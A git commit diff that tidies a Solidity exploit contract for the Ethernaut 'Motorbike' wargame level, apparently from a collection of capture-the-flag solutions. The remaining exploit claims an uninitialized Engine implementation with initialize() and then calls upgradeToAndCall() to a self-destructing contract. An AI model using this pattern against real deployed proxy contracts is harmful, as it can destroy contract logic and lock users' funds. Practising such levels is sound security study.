Cleanup MotorbikeExploit

minaminao · minaminao · commit 2056548efd90 · 2022-09-10T07:37:49.000+09:00
diff --git a/src/Ethernaut/Motorbike/MotorbikeExploit.sol b/src/Ethernaut/Motorbike/MotorbikeExploit.sol
@@ -12,17 +12,12 @@ function playerScript(address instanceAddress, Vm vm) {
 }
 
 contract MotorbikeExploit {
-    bytes[] data_ = [abi.encodeWithSignature("deposit()")];
-    bytes[] data = [abi.encodeWithSignature("deposit()"), abi.encodeWithSignature("multicall(bytes[])", data_)];
-
     function exploit(address, address engineAddress) public {
         Engine engine = Engine(engineAddress);
         EngineDestruct engineDestruct = new EngineDestruct();
         engine.initialize();
         engine.upgradeToAndCall(address(engineDestruct), "0");
     }
-
-    receive() external payable {}
 }
 
 contract EngineDestruct {

Original file line number	Diff line number	Diff line change
`@@ -12,17 +12,12 @@ function playerScript(address instanceAddress, Vm vm) {`
`12`	`12`	`}`
`13`	`13`
`14`	`14`	`contract MotorbikeExploit {`
`15`		`- bytes[] data_ = [abi.encodeWithSignature("deposit()")];`
`16`		`- bytes[] data = [abi.encodeWithSignature("deposit()"), abi.encodeWithSignature("multicall(bytes[])", data_)];`
`17`		`-`
`18`	`15`	`function exploit(address, address engineAddress) public {`
`19`	`16`	`Engine engine = Engine(engineAddress);`
`20`	`17`	`EngineDestruct engineDestruct = new EngineDestruct();`
`21`	`18`	`engine.initialize();`
`22`	`19`	`engine.upgradeToAndCall(address(engineDestruct), "0");`
`23`	`20`	`}`
`24`		`-`
`25`		`- receive() external payable {}`
`26`	`21`	`}`
`27`	`22`
`28`	`23`	`contract EngineDestruct {`